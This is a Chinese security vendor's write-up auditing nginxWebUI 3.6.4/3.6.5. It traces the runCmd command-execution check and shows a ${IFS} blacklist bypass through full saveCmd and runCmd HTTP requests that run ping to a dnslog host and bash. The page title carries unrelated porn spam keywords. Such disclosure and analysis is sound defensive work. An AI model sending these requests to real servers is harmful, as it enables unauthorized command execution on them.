99re8精品视频在线观看_邪恶帝无翼乌福利全彩_HD中字幕在线观看,拍床戏被肉h高h电影,四虎最新地址,美女视频黄免费观看

提交需求
*
*

*
*
*
立即提交
點擊”立即提交”,表明我理解并同意 《美創科技隱私條款》

logo

    產品與服務
    解決方案
    技術支持
    合作發展
    關于美創

    申請試用
      nginxWebUI 3.6.5版本審計與繞過
      發布時間:2023-07-21 閱讀次數: 1196 次

      概述

      nginxWebUI runCmd遠程命令執行漏洞時間線:

      - 5月19日 官方發布新版本(3.5.2)修復漏洞

      - 5月26日 漏洞細節在安全社區(火線)公開披露

      - 6月29 官方發布3.6.2 、3.6.3進一步修復runCmd遠程命令執行漏洞

      - 6月30 官方發布3.6.4 進一步修復runCmd遠程命令執行漏洞

      - 7月11 官方發布3.6.6 進一步修復runCmd遠程命令執行漏洞

      目前已跟進版本:

      圖片

      3.4.7-3.6.3版本代碼分析參考上一篇。

      3.6.4版本審計

      定位到命令執行接口:

      \nginxWebUI-3.6.4\src\main\java\com\cym\controller\adminPage\ConfController.java 330行

      圖片

      在這里runcmd接收2個參數:cmd和type。先檢查type是否為空,不為空則調用settingService.set(type, cmd)使用配置文件的相關配置:

      圖片

      然后使用了if (!isAvailableCmd(cmd)) ,檢查cmd是否為有效的命令

      圖片

      跟一下!isAvailableCmd:366行

      圖片

      一個布爾類型私有方法,檢查cmd參數是否有效,過濾了獲取的所有路徑,檢查命令是否屬于以下命令:


      • "pkill nginx"

      • "taskkill /f /im nginx.exe"

      • "systemctl stop nginx"

      • "service nginx stop"

      • "net stop nginx"

      • "systemctl start nginx"

      • "service nginx start"

      • "net start nginx"

      符合返回true,否則返回false,并返回錯誤信息。然后將傳入的值進行處理,并且與nginxEXE參數進行判斷是否相等,即將命令與nginx 服務端執行的命令進行對比。

      隨后回到runcmd方法:然后是一個判斷系統為win或者linux,調用不同的系統命令。

      圖片

      然后對結果進行非空判斷和內容正則。

      圖片

      3.6.4漏洞構造


      根據前文代碼的分析,要繼續構造命令執行,就必須傳入cmd參數,且繞過isAvailableCmd中對 nginxDir和nginxExe的校驗。

      我們找到了處理這兩個參數的saveCmd方法:272行

      圖片

      該方法接收三個參數nginxPath、nginxExe和nginxDir,在方法內部調用ToolUtils.handlePath進行過濾處理,即黑名單的方式對以下空格和符號進行轉義替換。

      圖片

      嘗試繞過

      在linux下,linux把${IFS}會被當做空格:

      圖片

      訪問nginxweibui

      圖片

      配置nginxExe參數:即將isAvailableCmd中的nginxExe預設成我們將要執行的命令。

      POST /adminPage/conf/saveCmd HTTP/1.1圖片

      1.POST /adminPage/conf/saveCmd HTTP/1.1
      2.Host: x.x.x.x:8080
      3.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.04.Accept: application/json, text/javascript, */*; q=0.015.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.26.Accept-Encoding: gzip, deflate7.Content-Type: application/x-www-form-urlencoded; charset=UTF-88.X-Requested-With: XMLHttpRequest9.Content-Length: 4710.Origin: http://x.x.x.x:808011.DNT: 112.Connection: close13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd14.Cookie:SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1689321911
      15.
      16.nginxExe=ping${IFS}22dck7.dnslog.cn&nginxPath=1

      命令執行:

      1.POST /adminPage/conf/runCmd HTTP/1.12.Host: x.x.x.x:80803.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.04.Accept: application/json, text/javascript, */*; q=0.015.Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.26.Accept-Encoding: gzip, deflate7.Content-Type: application/x-www-form-urlencoded; charset=UTF-88.X-Requested-With: XMLHttpRequest9.Content-Length: 3510.Origin: http://x.x.x.x:808011.DNT: 112.Connection: close13.Referer: http://x.x.x.x:8080/adminPage/conf/runCmd14.Cookie: SOLONID=ce4041f594264664b6f51a641b8a77e2; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1689320655; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=168932191115.
      16.cmd
      =ping${IFS}22dck7.dnslog.cn -c 1

      Dnslog返回成功。

      圖片

      其他命令:


      POST /adminPage/conf/saveCmd HTTP/1.1
      Host: xxxnginxExe=bash${IFS}&nginxPath=ls


      POST /adminPage/conf/runCmd 
      HTTP/1.1Host: xxxx

      免費試用
      服務熱線

      馬上咨詢

      400-811-3777

      回到頂部